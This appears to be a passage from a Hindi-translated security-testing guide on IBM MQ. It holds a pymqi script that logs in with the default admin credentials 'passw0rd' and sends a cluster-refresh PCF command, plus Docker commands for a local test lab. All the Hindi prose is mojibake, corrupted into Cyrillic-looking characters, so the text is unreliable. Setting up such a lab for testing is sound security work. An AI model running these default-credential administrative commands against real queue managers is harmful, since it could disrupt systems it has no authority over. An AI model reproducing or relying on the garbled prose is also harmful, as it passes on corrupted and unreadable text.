рд╣реЛ рд╕рдХрддрд╛ рд╣реИ (рджрд╕реНрддрд╛рд╡реЗрдЬрд╝: ):import pymqi queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: args = {2029: "*"} response = pcf.MQCMD_REFRESH_CLUSTER(args) except pymqi.MQMIError as e: print("Error") else: print(response) qmgr.disconnect()
рдкрд░реАрдХреНрд╖рдг рд╡рд╛рддрд╛рд╡рд░рдг
рдпрджрд┐ рдЖрдк IBM MQ рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдФрд░ рд╢реЛрд╖рдг рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк Docker рдкрд░ рдЖрдзрд╛рд░рд┐рдд рдПрдХ рд╕реНрдерд╛рдиреАрдп рд╡рд╛рддрд╛рд╡рд░рдг рд╕реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
- ibm.com рдФрд░ cloud.ibm.com рдкрд░ рдПрдХ рдЦрд╛рддрд╛ рд╣реЛрдирд╛ред
- рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЗ рд╕рд╛рде рдПрдХ рдХрдВрдЯреЗрдирд░рд╛рдЗрдЬреНрдб IBM MQ рдмрдирд╛рдПрдВ:
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╕рдХреНрд╖рдо рд╣реИ, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо admin
рд╣реИ рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб passw0rd
рд╣реИ (рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ MQ_ADMIN_PASSWORD
)ред рдпрд╣рд╛рдБ, рдХрддрд╛рд░ рдкреНрд░рдмрдВрдзрдХ рдХрд╛ рдирд╛рдо MYQUEUEMGR
рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ (рдЪрд░ MQ_QMGR_NAME
)ред
рдЖрдкрдХреЗ рдкрд╛рд╕ IBM MQ рдЪрд╛рд▓реВ рдФрд░ рдЪрд▓ рд░рд╣рд╛ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдФрд░ рдЗрд╕рдХреЗ рдкреЛрд░реНрдЯреНрд╕ рдЦреЛрд▓реЗ рд╣реБрдП рд╣реЛрдиреЗ рдЪрд╛рд╣рд┐рдП:
тЭп sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
IBM MQ рдбреЙрдХрд░ рдЗрдореЗрдЬ рдХреЗ рдкреБрд░рд╛рдиреЗ рд╕рдВрд╕реНрдХрд░рдг рдпрд╣рд╛рдБ рд╣реИрдВ: https://hub.docker.com/r/ibmcom/mq/.